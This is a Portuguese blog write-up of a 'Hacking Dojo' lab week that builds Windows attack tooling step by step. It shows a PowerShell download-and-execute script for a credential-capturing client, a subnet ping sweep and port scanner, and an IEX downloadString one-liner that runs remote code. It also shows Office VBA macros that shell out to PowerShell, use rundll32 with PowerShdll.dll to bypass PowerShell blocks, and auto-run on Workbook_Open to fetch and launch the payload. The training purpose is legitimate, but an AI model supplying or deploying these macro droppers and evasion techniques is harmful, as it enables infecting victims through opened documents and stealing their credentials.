Dando continuidade no desafio do Hacking Dojo, hoje atacaremos a semana 04.
Esta semana vamos atacar diretamente as linguagens mais utilizadas no Windows. Utilizando de PowerShell e as Macros do Office.
Bora pra cima!!
Task \x1a
O PowerShell possui nativamente uma variedade de comandos e funções que podem auxiliar na facilidade de se trabalhar com linha de comando. Basicamente uma evolução do CMD (ou um cmd metido a besta!).
Algumas destas funções auxiliam exatamente no download e execução de executáveis. Sáo elas:
(New-Object System.Net.WebClient).DownloadFile()que nos permite fazer uma requisição web direto para um executável e baixá-loStart-Process ()que nos permite executar um programa local
Se juntarmos os dois comandos, podemos facilmente cumprir o que esta task nos pede. O código ficou bem simples:
1
2
3
4
5
6
7
$Arquivo = "client.exe"
$End = "http://192.168.1.7/$Arquivo"
Clear-Host
(New-Object System.Net.WebClient).DownloadFile($End,"C:\Windows\Temp\$Arquivo")
Start-Process ("C:\Windows\Temp\$Arquivo")
Vamos iniciar nosso handler e o HTTP Server:
Com tudo pronto, só precisamos executar o script na VM Windows.
Logo após a execução, já podemos ver a requisição no HTTP Server e a conexão fita no handler, ao analisar os arquivos, temos o log com as credenciais salvas.
Este script, encerra esta task.
Task \x1b
De acordo com a minha interpretação desta task, precisamos fazer parecido com o que foi pedido na semana anterior. precisamos de um script que faça a varredura de todos os hosts ativos na rede local, e em seguida escanear todas as portas e informar quais estão abertas.
O script também não é complexo, abaixo como ficou, seguido da explicação passo-a-passo:
1
2
3
4
5
6
7
8
9
10
11
12
$ip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1].substring(0, 9)
For($i=0; $i -le 255; $i++){
echo "`n"
$hst = "$ip.$i"
$test = Test-Connection -ComputerName $hst -Count 1 -Quiet
if ( $test ) {
echo "[-] $hst"
1..65355 | % {echo ((new-object Net.Sockets.TcpClient).Connect($hst,$_)) "Porta $_ --- ABERTA"} 2>$null
}
}
Na primeira linha $ip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1].substring(0, 9) salvamos na variável $ip o resultado do comando ipconfig seguido de um tratamento feito em regex. Este tratamento vai pegar os nove primeiros dígitos numéricos e salvar na variável. Exemplo: num IP 192.168.1.160 ele vai salvar 192.168.1, ou seja, sem a subrede do IP.
Nas linhas:
1
2
3
For($i=0; $i -le 255; $i++){
echo "`n"
$hst = "$ip.$i"
O script faz um loop de 255 voltas (quantidade de IPs na ,áscara de subrede /24) e pra cada volta do loop, adiciona a variável da contagem, ou seja, o IP que antes era 192.168.1 passa a ser 192.168.1.1 na primeira volta, 192.168.1.2 na segunda e assim por diante fazendo com que todos os IPs possíveis sejam gerados durante o loop.
Na linha $test = Test-Connection -ComputerName $hst -Count 1 -Quiet temos uma sequência de argumentos para a função Test-Connection -ComputerName. Esta função testa a conexão de um host repetidas vezes no terminal, para que não fique repetindo os testes, utilizamos o argumento -Count 1 para que seja feita somente uma tentativa. Por fim, utilizamos o argumento -Quiet, para que o resultado deste teste seja um booleano, ou seja True se o IP estiver ativo e False se o IP estiver inativo/
Nas linhas:
1
2
3
4
if ( $test ) {
echo "[-] $hst"
1..65355 | % {echo ((new-object Net.Sockets.TcpClient).Connect($hst,$_)) "Porta $_ --- ABERTA"} 2>$null
}
Verificamos a resposta da função anterior, se o resultado for True, então inicia-se mais um loop que vai de 1 a 65355, que a quantidade de portas possíveis em uma máquina, para cada uma que estiver ativa, ele retora a frase Porta x --- ABERTA.
Este script não tem uma performance muito boa, porém atende ao que foi solicitado e pode ser de muita ajuda em uma situação real.
Ao executarmos o script, temos a sequinte resposta:
Este script, encerra esta task.
Tasks \x1c e \x1d
Bom, esta task automaticamente já está sendo feita, pois todo o trabalho já está sendo publicado em uma GitPage, porém deixo o link para leitura da melhor fonte possível para aprender git, sua documentação.
Task \x1e
Seguindo com as funções úteis do PowerShell que podemos utilizar, temos a IEX ou Invoke-Expression, basicamente este comando faz com que uma string seja executada como um comando, ou seja, se fizermos uma requisição para o script raw no GitHub e esta requisição for feita como string, ele executará o conteúdo de resposta.
O comando fica bem simples:
1
IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/h41stur/dojo/main/semana_04/27_port_sccanner.ps1')
Ao executá-lo, temos a resposta do portscan iniciado:
Isso encerra esta task.
Task \x1f
Agora vamos começar a trabalhar com o MS Office, o que se torna um pouco mais complexo numa epoca de 365. Porém, tenho uma licença que utilizo algumas vezes para trabalho, e será o suficiente para explorar as tasks do Dojo.
Esta task não tem segredo, precisamos habilitar as opções de desenvolvedor no excel. Para ativá-lo, precisamos clicar em Arquivos > Opções:
Em seguida clicar em Personalizar Faixa de Opções e finalmente habilitar a aba Desenvolvedor:
No final, a aba de Desenvolvedor estará habilitada no menu de ferramentas:
Task \x20
Agora iniciaremos na exploração de códigos em VBA. Já faz alguns anos que não utilizo macros do Office, portanto precisei relembrar várias coisas além de aprender coisas novas.
Esta task é muito simples, basicamente um aquecimento para o que está por vir, precisamos programar uma macro para imprimir uma mensagem na tela. O código é bem simples:
1
2
3
Sub Dojo()
MsgBox "Hacking Dojo"
End Sub
Onde Sub Dojo() define o nome da macro e MsgBox abre o pop-up com a mensagem. Ao clicarmos em Macros na aba Desenvolvedor, podemos ver a macro criada.
Ao executá-la, temos a mensagem impressa na tela:
Isto encerra esta task.
Task \x21
Agora as coisas começam a ficar interessantes, o VBA no Office possui uma função chamada Shell() onde podemos executar certos comandos e chamar certos executáveis.
Podemos invocar esta função chamando o cmd.exe que por sua vez vai chamar o PowerShell executando o comando. Esta função recebe dois parâmetros, o comando propriamente dito e o formato de saída. Os formatos de saída podem ser vistos na documentação da Microsoft.
A função ficou desta forma:
1
2
3
Sub PS()
pid = Shell("cmd.exe /k PowerShell -c whoami", vbNormalFocus)
End Sub
Ao executá-la, temos a resposta:
Isto encerra esta task.
Task \x22
Esta task também não tem segredo, uma vez que conseguimos executar comandos no cmd e já fizemos um script em PowerShell anteriormente para realizar a mesma função, só precisamos juntar os dois.
1
2
3
4
Sub Download_exec()
pid = Shell("cmd.exe /c PowerShell -c (New-Object System.Net.WebClient).DownloadFile('https://github.com/h41stur/dojo/blob/main/semana_04/client.exe?raw=true','C:\Windows\Temp\client.exe')", 1)
pid2 = Shell("cmd.exe /c PowerShell -c Start-Process ('C:\Windows\Temp\client.exe')", 1)
End Sub
Ao executar a macro, temos uma rápida abertura de duas telas do cmd (que também podem ser programadas para rodar em bacvkground).
Ao checarmos o diretório temporário do Windows, podemos ver que o arquivo boi baixado.
No Kali, temos a requisic”ao feita pelo programa normalmente encerrando a task.
Task \x23
Esta task deixa as coisas muito interessantes a partir do momento que utilizaremos o rundll32.exe que nos permite rodar um programa através de uma DLL.
Em resumo, uma DLL (Dynamic Link Library) são bibliotecas que contém instruções para outros programas, de forma grosseira, equivalente aos arquivos .so no Linux. Estes arquivos não necessariamente precisam ter a extensão .dll, também podem ter as extensões .ocx (ActiveX Controls), .cpl (Control Panel) e .drv (Device Drivers).
Acontece que, diferente dos arquivos .exe, uma DLL não é executável diretamente, porém o rundll32.exe pode fazer este papel chamando diretamente uma DLL. Mas onde isso pode ser uma vantagem?
Vamos supor que agum software de proteção esteja bloqueando a execução do PowerShell.exe, neste caso, não será possível executar o PS, porém e se o rodarmos diretamente por uma DLL?
Aí entra o runndll32, que nos auxilia nesta tarefa (o que também não é 100% de garantia, mas pode fazer o bypass de certas proteções).
Na versão do Windows que estou utilizando no Lab Windows 10 21H1, não existe a DLL PowerShdll.dll, porém, com uma simples pesquisa, foi possível encontrá-lo neste GitHub. Ao adicioná-lo no diretório C:\Windows\System32, é possível chamá-lo através do rundll32 com o comando rundll32 PowerShdll.dll,main conforme abaixo.
Logo, o que precisamos fazer em nossa Macro é utilizar exatamente este comando seguido do script, a macro ficou desta forma:
1
2
3
4
Sub Download_exec()
pid = Shell("rundll32.exe PowerShdll.dll,main (New-Object System.Net.WebClient).DownloadFile('https://github.com/h41stur/dojo/blob/main/semana_04/client.exe?raw=true','C:\Windows\Temp\client.exe')", 1)
pid2 = Shell("rundll32.exe PowerShdll.dll,main Start-Process ('C:\Windows\Temp\client.exe')", 1)
End Sub
Ao executar a macro, temos novamente a execução do PowerShell e o Download seguido da execução do programa.
Task \x24
Com a macro feita, precisamos fazer com que ela execute automaticamente ao arquivo ser aberto, isto é ralativamente simples, só precisamos mudar a macro de lugar no VBA e alterar seu nome para um nome específico de sistema.
Primeiramente vamos retirá-la de Módulos dentro do editor do VBA e inseríla em EstaPastaDeTrabalho.
Após isto, precisamos alterar o nome da macro para Private Sub Workbook_Open(), o Workbook_Open() é um nome específico que indica que a macro será executada ao abrir o arquivo. A macro ficou desta forma:
1
2
3
4
Private Sub Workbook_Open()
pid = Shell("rundll32.exe PowerShdll.dll,main (New-Object System.Net.WebClient).DownloadFile('https://github.com/h41stur/dojo/blob/main/semana_04/client.exe?raw=true','C:\Windows\Temp\client.exe')", 1)
pid2 = Shell("rundll32.exe PowerShdll.dll,main Start-Process ('C:\Windows\Temp\client.exe')", 1)
End Sub
Isto encerra esta task.
Nota
Todas as tasks envolvendo macros, só foram executadas com o Windows Defender
desativado, pois como as macros são algo “manjado”, é muito fácil serem identificadas.
Encerramos mais uma semana do Dojo!
Bons estudos.